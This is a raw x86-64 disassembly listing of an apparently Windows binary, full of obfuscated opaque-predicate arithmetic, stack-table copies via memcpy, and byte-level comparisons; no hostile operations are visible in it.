and eax, r8d
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
xor ecx, ecx
sub ecx, eax
add ecx, 0x87a1efc3
xor eax, eax
sub eax, ecx
sub eax, 0x4ffeb228
xor eax, 0xcc98962a
cmp eax, 0xe81950b5
jae 0x1400f12b7
mov eax, dword [0x140140634]
xor edx, edx
div dword [0x140140638]
sub eax, 0xdda42da9
add eax, 0xf32c46ea
add eax, 0x1933d05d
cmp eax, 0x80ac22ba
je 0x1400f12bc
mov ecx, dword [0x14014063c]
mov eax, dword [0x140140640]
add ecx, 0xc22e70b5
add ecx, eax
sub ecx, 0xc22e70b5
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x606ce7dd
mov eax, ecx
and eax, 0x9f931822
imul eax, edx
mov edx, ecx
and edx, 0x606ce7dd
or ecx, 0x606ce7dd
imul ecx, edx
add ecx, eax
add ecx, 0xf3b862ad
add ecx, 0xbc5be721
sub ecx, 0xf3b862ad
mov eax, ecx
and eax, 0x4d5d73cb
or ecx, 0x4d5d73cb
add eax, ecx
mov rcx, qword [rbp + 0x1370]
mov qword [rbp + 0xeb0], rcx
cmp eax, 0xeeb25a7f
jae 0x1400f12bc
mov rax, qword [rbp + 0xeb0]
cmp rax, qword [rbp + 0x1360]
ja 0x1400f0681
mov eax, dword [0x140140654]
or eax, dword [0x140140658]
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x9414b78c
add eax, ecx
add eax, 0x3b40eb34
mov ecx, eax
xor ecx, 0x7c3aa5ed
xor ecx, 0xffffffff
or eax, 0x7c3aa5ed
and eax, ecx
cmp eax, 0x7d8736ad
jae 0x1400f12c1
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xea0], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xea8], rax
mov eax, dword [0x140140664]
imul eax, dword [0x140140668]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xa32e4cf6
and eax, 0x5cd1b309
sub eax, ecx
xor eax, 0xd2e6edec
mov edx, eax
and edx, 0x35b0d5f
mov ecx, eax
or ecx, 0x35b0d5f
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xfca4f2a0
or eax, 0xfca4f2a0
imul eax, edx
add eax, ecx
cmp eax, 0x6d901095
jbe 0x1400f12c6
lea rcx, [rbp + 0x1390]
lea rdx, [0x140133010]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [0x140140674]
xor edx, edx
div dword [0x140140678]
add eax, 0x686eabc9
and eax, 0x992fd3ae
sub eax, 0x38d29d55
sub eax, 0xe88d969a
add eax, 0x38d29d55
cmp eax, 0x6eb4cb7b
jae 0x1400f12e4
mov rax, qword [rbp + 0xea0]
mov rcx, qword [rbp + 0xea8]
add rcx, qword [rbp + 0x1390]
cmp rax, rcx
jae 0x1400e0138
mov eax, dword [0x140140684]
sub eax, dword [0x140140688]
and eax, 0xa3cfe710
or eax, 0x390f4f0a
mov ecx, eax
and ecx, 0x6358fc3f
shl ecx, 1
add eax, 0x6358fc3f
sub eax, ecx
cmp eax, 0xa5ab002
jb 0x1400f12e9
mov edx, dword [0x14014068c]
imul edx, dword [0x140140690]
and edx, 0x6c5fd3c7
mov ecx, edx
xor ecx, 0xffffffff
mov eax, ecx
and eax, 0x72af5621
and edx, 0x8d50a9de
or eax, edx
xor eax, 0xbff2c814
or ecx, 0x32a261ca
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0x6692589d
mov rcx, qword [rbp + 0x1360]
mov qword [rbp + 0xe90], rcx
mov cl, byte [rbp + 0x137f]
mov byte [rbp + 0xe9f], cl
cmp eax, 0xf9bca913
ja 0x1400f12e9
mov al, byte [rbp + 0xe9f]
mov rcx, qword [rbp + 0xe90]
mov qword [rbp + 0x1480], rcx
mov byte [rbp + 0x147f], al
movzx eax, byte [rbp + 0x147f]
mov qword [rbp + 0x1470], rax
mov rax, qword [rbp + 0x1480]
movabs rcx, 0x5d473a04984ccc95
sub rax, rcx
mov qword [rbp + 0x1468], rax
mov rax, qword [rbp + 0x1470]
mov rcx, qword [rbp + 0x1468]
xor rcx, 0xffffffffffffffff
sub rcx, 0xffffffffffffffff
sub rax, rcx
mov qword [rbp + 0xe78], rax
mov rcx, qword [rbp + 0x1470]
mov rdx, qword [rbp + 0x1468]
xor rdx, 0xffffffffffffffff
mov rax, rcx
xor rax, rdx
and rax, rcx
mov qword [rbp + 0xe80], rax
mov rax, qword [rbp + 0x1468]
and rax, qword [rbp + 0x1470]
mov qword [rbp + 0xe88], rax
mov eax, dword [0x1401406a4]
sub eax, dword [0x1401406a8]
mov edx, eax
and edx, 0xc4478133
mov ecx, eax
or ecx, 0xc4478133
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x3bb87ecc
or eax, 0x3bb87ecc
imul eax, edx
add eax, ecx
and eax, 0xe0f2b90d
mov edx, eax
and edx, 0xdbdb1fa9
mov ecx, eax
or ecx, 0xdbdb1fa9
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x2424e056
or eax, 0x2424e056
imul eax, edx
add eax, ecx
cmp eax, 0xda9cc106
jae 0x1400f12ee
mov rcx, qword [rbp + 0xe78]
mov r8, qword [rbp + 0xe88]
mov eax, dword [0x1401406ac]
add eax, dword [0x1401406b0]
mov r9d, 0xdccf91d0
xor edx, edx
div r9d
mov rdx, qword [rbp + 0xe80]
mov r9d, eax
sub r9d, 0xc5eba637
sub r9d, 0xb850c11e
add r9d, 0xc5eba637
mov eax, r9d
xor eax, 0x83b610c5
and eax, r9d
movabs r9, 0x8d325a40a5e1d1
sub rdx, r9
add rdx, r8
movabs r8, 0x8d325a40a5e1d1
add rdx, r8
movabs r8, 0x345edce70f098b02
sub rcx, r8
sub rcx, rdx
movabs rdx, 0x345edce70f098b02
add rcx, rdx
mov qword [rbp + 0x1460], rcx
movabs rcx, 0xd674905c7c8ca158
add rcx, qword [rbp + 0x1460]
movabs rdx, 0x730d69dfd5e667ed
sub rcx, rdx
movabs rdx, 0xd674905c7c8ca158
sub rcx, rdx
mov byte [rbp + 0x137e], cl
cmp eax, 0x73291e26
jae 0x1400f12ee
jmp 0x1400e1b5d
mov ecx, dword [0x1401406b4]
mov edx, dword [0x1401406b8]
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
sub eax, 0xd3f7683
sub eax, 0x3e1d8ecd
imul eax, eax, 0xeaf486f1
cmp eax, 0x5f75b19a
je 0x1400f1337
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xe68], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xe70], rax
lea rcx, [rbp + 0x14b0]
lea rdx, [0x1401330e0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [0x1401406c4]
mov r8d, dword [0x1401406c8]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, r8d
and edx, ecx
mov r9d, r8d
xor r9d, 0xffffffff
mov ecx, eax
and ecx, r9d
imul ecx, edx
mov edx, eax
and edx, r8d
or eax, r8d
imul eax, edx
add eax, ecx
mov ecx, 0x4eaef6ae
xor edx, edx
div ecx
add eax, 0x2d1845c6
add eax, 0x70163eda
sub eax, 0x34cc30fe
sub eax, 0x70163eda
cmp eax, 0x4e122a9a
jbe 0x1400f1355
mov eax, dword [0x1401406cc]
xor eax, dword [0x1401406d0]
and eax, 0xb07b0f96
xor eax, 0xffffffff
and eax, 0x6d3b5777
xor eax, 0xffffffff
sub eax, 0xdf6c5fd8
cmp eax, 0x65b79dcc
jbe 0x1400f1355
mov rax, qword [rbp + 0xe68]
mov rcx, qword [rbp + 0xe70]
add rcx, 1
cmp rax, rcx
jne 0x1400e0370
mov eax, dword [0x1401406dc]
and eax, dword [0x1401406e0]
add eax, 0xf984d8ca
add eax, 1
xor eax, 0x706fc56b
or eax, 0x3bd449c6
mov rcx, qword [rbp + 0x1360]
mov dl, byte [rbp + 0x137f]
mov byte [rbp + 0xe67], dl
mov qword [rbp + 0x1598], rcx
cmp eax, 0xa1d1d060
jae 0x1400f135a
mov cl, byte [rbp + 0xe67]
mov eax, dword [0x1401406ec]
mov edx, dword [0x1401406f0]
add eax, 0xeca1cdf9
add eax, edx
sub eax, 0xeca1cdf9
and eax, 0x2bb49bd8
mov edx, eax
xor edx, 0xc69cab1c
and eax, 0x396354e3
shl eax, 1
sub eax, edx
add eax, 0xa72d6009
mov byte [rbp + 0x1597], cl
movzx ecx, byte [rbp + 0x1597]
mov qword [rbp + 0x1588], rcx
cmp eax, 0xff92bda4
jae 0x1400f136d
movabs rax, 0xe82a51f237199a41
add rax, qword [rbp + 0x1598]
mov qword [rbp + 0x1580], rax
mov rax, qword [rbp + 0x1588]
add rax, qword [rbp + 0x1580]
mov rcx, qword [rbp + 0x1588]
mov r8, qword [rbp + 0x1580]
mov rdx, rcx
xor rdx, 0xffffffffffffffff
mov r9, r8
xor r9, 0xffffffffffffffff
or rdx, r9
xor rcx, 0xffffffffffffffff
xor r8, 0xffffffffffffffff
or rcx, r8
and rdx, rcx
xor rdx, 0xffffffffffffffff
mov rcx, qword [rbp + 0x1580]
and rcx, qword [rbp + 0x1588]
add rdx, rcx
xor ecx, ecx
sub rcx, rdx
add rax, rcx
mov qword [rbp + 0x1578], rax
mov rax, qword [rbp + 0x1578]
movabs rcx, 0x59283d9f81b337c7
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400eb06c
mov eax, dword [0x1401406f4]
mov ecx, dword [0x1401406f8]
sub eax, 0x70e1509c
sub eax, ecx
add eax, 0x70e1509c
sub eax, 0xbc8f9ce1
mov edx, eax
xor edx, 0xffffffff
and edx, 0x4641abed
mov ecx, eax
and ecx, 0xb9be5412
imul ecx, edx
mov edx, eax
and edx, 0x4641abed
or eax, 0x4641abed
imul eax, edx
add eax, ecx
imul eax, eax, 0x3b8f032b
cmp eax, 0xbe81f8cf
ja 0x1400f138c
mov eax, dword [0x1401406fc]
or eax, dword [0x140140700]
mov ecx, eax
and ecx, 0xb1ab1c54
xor ecx, 0xffffffff
add eax, 0xb1ab1c54
add eax, 1
add eax, ecx
mov ecx, 0x963ce50f
xor edx, edx
div ecx
mov edx, eax
and edx, 0x226bd9d
mov ecx, eax
or ecx, 0x226bd9d
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xfdd94262
or eax, 0xfdd94262
imul eax, edx
add eax, ecx
mov rcx, qword [rbp + 0x1370]
mov qword [rbp + 0xe58], rcx
cmp eax, 0x198fd68f
jbe 0x1400e03c6
mov ecx, dword [0x140140704]
add ecx, dword [0x140140708]
sub ecx, 0xac58d330
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
or eax, 0x188e2163
and ecx, 0x188e2163
xor eax, 0xffffffff
or eax, ecx
sub eax, 0x6e142296
add eax, 0xf57e7ad3
add eax, 0x6e142296
cmp eax, 0x7a7b12d2
ja 0x1400f1391
mov eax, dword [0x14014070c]
imul eax, dword [0x140140710]
imul ecx, eax, 0x6a80538b
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xb28e420
and ecx, 0xf4d71bdf
or eax, ecx
xor eax, 0xcc1ca8a2
mov edx, eax
and edx, 0x514519e5
mov ecx, eax
or ecx, 0x514519e5
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xaebae61a
or eax, 0xaebae61a
imul eax, edx
add eax, ecx
mov dword [rbp + 0xe4c], eax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xe40], rax
lea rcx, [rbp + 0x15a0]
lea rdx, [0x1401331b0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp + 0xe4c]
mov rcx, qword [rbp + 0x15c0]
and rcx, 1
mov qword [rbp + 0xe50], rcx
cmp eax, 0x4995aa03
jb 0x1400e047c
mov rax, qword [rbp + 0xe58]
mov rcx, qword [rbp + 0xe40]
mov rdx, qword [rbp + 0xe50]
xor rdx, 0xffffffffffffffff
sub rdx, 0xffffffffffffffff
sub rcx, rdx
movabs rdx, 0x34ac514ce11b8eda
sub rcx, rdx
add rcx, 1
movabs rdx, 0x34ac514ce11b8eda
add rcx, rdx
cmp rax, rcx
jne 0x1400e06df
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x1688], rcx
mov byte [rbp + 0x1687], al
movzx eax, byte [rbp + 0x1687]
mov qword [rbp + 0x1678], rax
mov rax, qword [rbp + 0x1688]
movabs rcx, 0x2235ccd16fd4b292
sub rax, rcx
movabs rcx, 0x2d9bdde906800117
add rax, rcx
movabs rcx, 0x2235ccd16fd4b292
add rax, rcx
mov qword [rbp + 0x1670], rax
mov rax, qword [rbp + 0x1678]
mov rdx, qword [rbp + 0x1670]
mov rcx, rax
and rcx, rdx
shl rcx, 1
xor rax, rdx
add rax, rcx
mov rcx, qword [rbp + 0x1678]
and rcx, qword [rbp + 0x1670]
mov rdx, qword [rbp + 0x1670]
and rdx, qword [rbp + 0x1678]
movabs r8, 0x597155d56585e2d
add rcx, r8
add rcx, rdx
movabs rdx, 0x597155d56585e2d
sub rcx, rdx
sub rax, rcx
mov qword [rbp + 0x1668], rax
mov rax, qword [rbp + 0x1668]
movabs rcx, 0x3f43115f2d8007a1
sub rax, rcx
mov byte [rbp + 0xe3f], al
mov eax, dword [0x140140714]
and eax, dword [0x140140718]
xor eax, 0x7453e949
xor eax, 0x52d2fbcb
add eax, 0x4cc4aca7
add eax, 1
cmp eax, 0xa75d055
je 0x1400f13af
mov cl, byte [rbp + 0xe3f]
mov edx, dword [0x14014071c]
mov eax, dword [0x140140720]
add edx, 0x85839a56
sub edx, eax
sub edx, 0x85839a56
or edx, 0xa2cb29bc
mov eax, edx
and eax, 0x2146c3ac
or edx, 0x2146c3ac
add eax, edx
mov r8d, eax
xor r8d, 0xffffffff
and r8d, 0x4427c0dc
mov edx, eax
and edx, 0xbbd83f23
imul edx, r8d
mov r8d, eax
and r8d, 0x4427c0dc
or eax, 0x4427c0dc
imul eax, r8d
add eax, edx
mov byte [rbp + 0x137e], cl
cmp eax, 0x6914a39a
jb 0x1400e0665
jmp 0x1400eae8f
mov eax, dword [0x140140724]
xor edx, edx
div dword [0x140140728]
and eax, 0x1386f6cd
mov edx, eax
and edx, 0x56c74f8c
mov ecx, eax
or ecx, 0x56c74f8c
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xa938b073
or eax, 0xa938b073
imul eax, edx
add eax, ecx
sub eax, 0x9dc8fcf7
cmp eax, 0xb1111c58
je 0x1400f13c0
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xe28], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xe30], rax
lea rcx, [rbp + 0x1690]
lea rdx, [0x140133280]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x16c0]
mov ecx, 3
xor edx, edx
div rcx
mov qword [rbp + 0xe20], rdx
mov eax, dword [0x140140744]
xor eax, dword [0x140140748]
sub eax, 0xb8c8e7e
mov edx, eax
and edx, 0x80b0bc0f
mov ecx, eax
or ecx, 0x80b0bc0f
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x7f4f43f0
or eax, 0x7f4f43f0
imul eax, edx
add eax, ecx
add eax, 0x5fc401dc
cmp eax, 0x9c88a64e
jae 0x1400f13c5
mov rcx, qword [rbp + 0xe28]
mov r8, qword [rbp + 0xe20]
mov rdx, qword [rbp + 0xe30]
mov r10d, dword [0x14014074c]
mov eax, dword [0x140140750]
add r10d, 0xa9652f66
sub r10d, eax
sub r10d, 0xa9652f66
add r10d, 0xadf739d1
mov r9d, r10d
xor r9d, 0xffffffff
mov eax, r9d
and eax, 0x9b601845
and r10d, 0x649fe7ba
or eax, r10d
xor eax, 0x569df15c
or r9d, 0x320216e6
xor r9d, 0xffffffff
or eax, r9d
mov r10d, eax
xor r10d, 0xffffffff
and r10d, 0xb3e669f
mov r9d, eax
and r9d, 0xf4c19960
imul r9d, r10d
mov r10d, eax
and r10d, 0xb3e669f
or eax, 0xb3e669f
imul eax, r10d
add eax, r9d
add rdx, r8
sub rdx, 0xffffffffffffffff
cmp rcx, rdx
sete cl
mov byte [rbp + 0xe1f], cl
cmp eax, 0xeafbdb15
ja 0x1400f13c5
mov al, byte [rbp + 0xe1f]
test al, 1
jne 0x1400e0889
jmp 0x1400e0a5e
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x1778], rcx
mov byte [rbp + 0x1777], al
movzx eax, byte [rbp + 0x1777]
mov qword [rbp + 0x1768], rax
mov rax, qword [rbp + 0x1778]
movabs rcx, 0x2f54d7a638d67a2b
sub rax, rcx
movabs rcx, 0x730d69dfd5e667ed
add rax, rcx
movabs rcx, 0x2f54d7a638d67a2b
add rax, rcx
mov qword [rbp + 0xe10], rax
mov eax, dword [0x140140754]
and eax, dword [0x140140758]
imul eax, eax, 0x1e7b3a26
or eax, 0x2ea930eb
imul eax, eax, 0x9918c30f
cmp eax, 0xfec334ad
je 0x1400f13ca
mov rcx, qword [rbp + 0xe10]
mov eax, dword [0x14014075c]
mov edx, dword [0x140140760]
xor edx, 0xffffffff
sub edx, 0xffffffff
sub eax, edx
or eax, 0x65af7d94
xor eax, 0xffffffff
and eax, 0x9b419f23
xor eax, 0xffffffff
mov edx, eax
xor edx, 0x9c111ef0
and eax, 0x63eee10f
shl eax, 1
sub eax, edx
mov qword [rbp + 0x1760], rcx
mov rcx, qword [rbp + 0x1768]
mov rdx, qword [rbp + 0x1760]
xor rdx, 0xffffffffffffffff
sub rdx, 0xffffffffffffffff
sub rcx, rdx
mov qword [rbp + 0xe08], rcx
cmp eax, 0xcb7cb51e
je 0x1400f13ca
mov ecx, dword [0x140140764]
xor ecx, dword [0x140140768]
mov eax, ecx
and eax, 0x348e990b
or ecx, 0x348e990b
add eax, ecx
imul eax, eax, 0xbac25d0c
and eax, 0xac362989
cmp eax, 0x5e01b861
jb 0x1400f13dd
mov rcx, qword [rbp + 0xe08]
mov eax, dword [0x14014076c]
xor eax, dword [0x140140770]
add eax, 0x58730046
imul eax, eax, 0x5da43cc5
mov edx, eax
xor edx, 0xffffffff
and edx, 0xa6124e50
and eax, 0x59edb1af
sub eax, edx
mov r8, qword [rbp + 0x1768]
mov r9, qword [rbp + 0x1760]
mov rdx, r8
and rdx, r9
xor rdx, 0xffffffffffffffff
and r8, r9
xor r8, 0xffffffffffffffff
and rdx, r8
xor rdx, 0xffffffffffffffff
mov r8, qword [rbp + 0x1760]
and r8, qword [rbp + 0x1768]
add rdx, r8
sub rcx, rdx
mov qword [rbp + 0x1758], rcx
mov rcx, qword [rbp + 0x1758]
movabs r8, 0x255de51ed94cd77b
mov rdx, rcx
xor rdx, r8
movabs r8, 0xdaa21ae126b32884
and rcx, r8
shl rcx, 1
sub rcx, rdx
mov byte [rbp + 0x137e], cl
cmp eax, 0xdaab540e
ja 0x1400f13dd
jmp 0x1400eac2a
mov ecx, dword [0x140140774]
mov edx, dword [0x140140778]
mov eax, ecx
and eax, edx
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
or eax, ecx
sub eax, 0x72316b4a
mov ecx, 0xbea6974
xor edx, edx
div ecx
and eax, 0xc6b32370
cmp eax, 0x5d117a16
ja 0x1400f1434
mov ecx, dword [0x14014077c]
xor ecx, dword [0x140140780]
xor ecx, 0x5713737f
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x3ff0db8b
or ecx, 0xc00f2474
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
and eax, 0xf658d506
mov dword [rbp + 0xe04], eax
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xdf0], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xdf8], rax
lea rcx, [rbp + 0x1780]
lea rdx, [0x140133350]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp + 0xe04]
cmp eax, 0x393e44b6
jb 0x1400e0a99
mov rax, qword [rbp + 0x1808]
and rax, 3
mov qword [rbp + 0xde8], rax
mov ecx, dword [0x140140794]
mov edx, dword [0x140140798]
mov r8d, ecx
xor r8d, edx
xor r8d, 0xffffffff
mov eax, edx
and eax, r8d
shl eax, 1
sub eax, edx
sub ecx, eax
add ecx, 0x6689cb19
add ecx, 0x2751c2e5
mov eax, ecx
xor eax, 0xbea521fe
and eax, ecx
cmp eax, 0x28b804cd
je 0x1400f1452
mov rax, qword [rbp + 0xdf0]
mov r8, qword [rbp + 0xde8]
mov rcx, qword [rbp + 0xdf8]
xor edx, edx
sub rdx, rcx
xor ecx, ecx
sub rcx, r8
add rdx, rcx
xor ecx, ecx
sub rcx, rdx
mov rdx, rcx
and rdx, 1
shl rdx, 1
xor rcx, 1
add rcx, rdx
cmp rax, rcx
jne 0x1400e0d95
mov eax, dword [0x1401407a4]
imul eax, dword [0x1401407a8]
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x639562c9
add eax, ecx
mov ecx, 0x8f0d28cf
xor edx, edx
div ecx
and eax, 0x42ec94e6
cmp eax, 0xd59f690
ja 0x1400f1457
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x1868], rcx
mov byte [rbp + 0x1867], al
movzx eax, byte [rbp + 0x1867]
mov qword [rbp + 0x1858], rax
mov rcx, qword [rbp + 0x1868]
movabs rdx, 0xb87ef5d6a54ccec3
mov rax, rcx
and rax, rdx
movabs rdx, 0xb87ef5d6a54ccec3
or rcx, rdx
add rax, rcx
mov qword [rbp + 0x1850], rax
mov rax, qword [rbp + 0x1858]
mov rdx, qword [rbp + 0x1850]
xor ecx, ecx
sub rcx, rax
xor eax, eax
sub rax, rdx
add rcx, rax
xor eax, eax
sub rax, rcx
mov qword [rbp + 0xdd0], rax
mov rax, qword [rbp + 0x1858]
mov rcx, qword [rbp + 0x1850]
xor rax, 0xffffffffffffffff
xor rcx, 0xffffffffffffffff
or rax, rcx
xor rax, 0xffffffffffffffff
mov qword [rbp + 0xdd8], rax
mov rcx, qword [rbp + 0x1850]
mov rdx, qword [rbp + 0x1858]
mov rax, rcx
and rax, rdx
xor rcx, 0xffffffffffffffff
xor rdx, 0xffffffffffffffff
or rcx, rdx
xor rcx, 0xffffffffffffffff
or rax, rcx
mov qword [rbp + 0xde0], rax
mov ecx, dword [0x1401407b4]
mov edx, dword [0x1401407b8]
mov r8d, ecx
xor r8d, 0xffffffff
mov eax, edx
and eax, r8d
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
add eax, 0x48286508
xor eax, 0x1be729dd
imul eax, eax, 0x51481e9b
cmp eax, 0x2015f963
jbe 0x1400f146a
mov rcx, qword [rbp + 0xdd0]
mov r9, qword [rbp + 0xde0]
mov r8, qword [rbp + 0xdd8]
mov eax, dword [0x1401407bc]
imul eax, dword [0x1401407c0]
mov r10d, 0x407c46b1
xor edx, edx
div r10d
mov edx, eax
xor edx, 0xffffffff
or edx, 0x3df672fe
xor eax, 0xffffffff
and eax, 0x3df672fe
xor eax, 0xffffffff
and edx, eax
mov eax, edx
xor eax, 0xffffffff
or eax, 0xda12d55f
xor edx, 0xffffffff
and edx, 0xda12d55f
xor edx, 0xffffffff
and eax, edx
mov rdx, r8
and rdx, r9
shl rdx, 1
xor r8, r9
add r8, rdx
mov rdx, rcx
xor rdx, r8
xor r8, 0xffffffffffffffff
and rcx, r8
shl rcx, 1
sub rcx, rdx
mov qword [rbp + 0x1848], rcx
mov rcx, qword [rbp + 0x1848]
movabs rdx, 0xb78b8de8519a755
sub rcx, rdx
mov byte [rbp + 0x137e], cl
cmp eax, 0x2b78f87a
jbe 0x1400e0ce5
jmp 0x1400ea8a2
mov eax, dword [0x1401407c4]
and eax, dword [0x1401407c8]
xor eax, 0xffffffff
or eax, 0xc6819097
xor eax, 0xffffffff
sub eax, 0x1f0824cc
sub eax, 0xe779bdcc
sub eax, 0xf9febcf7
add eax, 0xe779bdcc
cmp eax, 0x856ccba6
je 0x1400f14c2
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xdc0], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xdb8], rax
lea rcx, [rbp + 0x1870]
lea rdx, [0x140133420]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0xdb8]
mov rax, qword [rbp + 0x1908]
mov r8d, 5
xor edx, edx
div r8
mov rax, qword [rbp + 0xdc0]
add rcx, rdx
add rcx, 1
cmp rax, rcx
sete al
mov byte [rbp + 0xdcf], al
mov ecx, dword [0x1401407d4]
sub ecx, dword [0x1401407d8]
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
and eax, 0x948999a3
and ecx, 0x6b76665c
or eax, ecx
mov ecx, 0xdc0b62bc
xor edx, edx
div ecx
xor eax, 0x216bdd69
cmp eax, 0xbcc70af
jb 0x1400f14e0
mov r8d, dword [0x1401407dc]
mov edx, dword [0x1401407e0]
mov eax, r8d
xor eax, 0xffffffff
and eax, 0xeb9734c5
and r8d, 0x1468cb3a
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0xeb9734c5
and edx, 0x1468cb3a
or eax, r8d
or ecx, edx
xor eax, ecx
sub eax, 0xbd9fdcfb
add eax, 0xa405b383
add eax, 0xbd9fdcfb
mov edx, eax
and edx, 0xf62f8fa8
mov ecx, eax
or ecx, 0xf62f8fa8
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x9d07057
or eax, 0x9d07057
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0x48d9fa80
shl ecx, 1
add eax, 0x48d9fa80
sub eax, ecx
cmp eax, 0x1b660304
jb 0x1400e0e71
mov al, byte [rbp + 0xdcf]
test al, 1
jne 0x1400e0f0e
jmp 0x1400e10e3
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x1958], rcx
mov byte [rbp + 0x1957], al
mov eax, dword [0x1401407e4]
and eax, dword [0x1401407e8]
mov ecx, 0x92c516c8
xor edx, edx
div ecx
or eax, 0x1a7935aa
or eax, 0x54f6393d
cmp eax, 0x727e2588
ja 0x1400f14e5
movzx eax, byte [rbp + 0x1957]
mov qword [rbp + 0x1948], rax
movabs rax, 0xfdf081cd74b33599
add rax, qword [rbp + 0x1958]
mov qword [rbp + 0x1940], rax
mov rax, qword [rbp + 0x1948]
mov rcx, qword [rbp + 0x1940]
movabs rdx, 0xd0e259715718198d
add rax, rdx
add rax, rcx
movabs rcx, 0xd0e259715718198d
sub rax, rcx
mov qword [rbp + 0xd98], rax
mov rax, qword [rbp + 0x1948]
and rax, qword [rbp + 0x1940]
mov qword [rbp + 0xda0], rax
mov rax, qword [rbp + 0x1940]
mov qword [rbp + 0xda8], rax
mov rax, qword [rbp + 0x1948]
mov qword [rbp + 0xdb0], rax
mov rcx, qword [rbp + 0xd98]
mov rdx, qword [rbp + 0xda0]
mov r9, qword [rbp + 0xdb0]
mov r8, qword [rbp + 0xda8]
mov r10d, dword [0x1401407fc]
mov r11d, dword [0x140140800]
mov eax, r10d
and eax, r11d
shl eax, 1
add r10d, r11d
sub r10d, eax
mov eax, r10d
xor eax, 0xffffffff
mov r11d, r10d
xor r11d, 0xffffffff
or eax, r11d
xor eax, 0xffffffff
or eax, 0x3da8206e
and r10d, 0x3da8206e
xor r10d, 0xffffffff
and eax, r10d
xor eax, 0xffffffff
mov r11d, eax
and r11d, 0x5cc91f51
mov r10d, eax
or r10d, 0x5cc91f51
xor r10d, 0xffffffff
imul r10d, r11d
mov r11d, eax
and r11d, 0xa336e0ae
or eax, 0xa336e0ae
imul eax, r11d
add eax, r10d
mov r11d, eax
and r11d, 0x7c8a4820
mov r10d, eax
or r10d, 0x7c8a4820
xor r10d, 0xffffffff
imul r10d, r11d
mov r11d, eax
and r11d, 0x8375b7df
or eax, 0x8375b7df
imul eax, r11d
add eax, r10d
and r8, r9
add rdx, r8
xor rdx, 0xffffffffffffffff
add rcx, rdx
add rcx, 1
mov qword [rbp + 0x1938], rcx
movabs rcx, 0xe6c7361cf1988d0
add rcx, qword [rbp + 0x1938]
add rcx, 1
mov byte [rbp + 0x137e], cl
cmp eax, 0x39e3c049
je 0x1400f152d
jmp 0x1400ea78f
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xd90], rax
mov eax, dword [str.j3B_]
mov ecx, dword [0x140140810]
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0x640768b1
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x28cdb02e
xor ecx, 0x28cdb02e
or eax, ecx
xor eax, 0xb552fe2a
mov dword [rbp + 0xd7c], eax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xd80], rax
lea rcx, [rbp + 0x1960]
lea rdx, [0x1401334f0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x1a08]
mov ecx, 6
xor edx, edx
div rcx
mov eax, dword [rbp + 0xd7c]
mov r8, rdx
mov rdx, qword [rbp + 0xd80]
mov rcx, rdx
and rcx, r8
or rdx, r8
add rcx, rdx
mov qword [rbp + 0xd88], rcx
cmp eax, 0x4dbec80e
jbe 0x1400f15aa
mov rax, qword [rbp + 0xd90]
mov rcx, qword [rbp + 0xd88]
add rcx, 1
cmp rax, rcx
jne 0x1400e1354
mov eax, dword [0x14014081c]
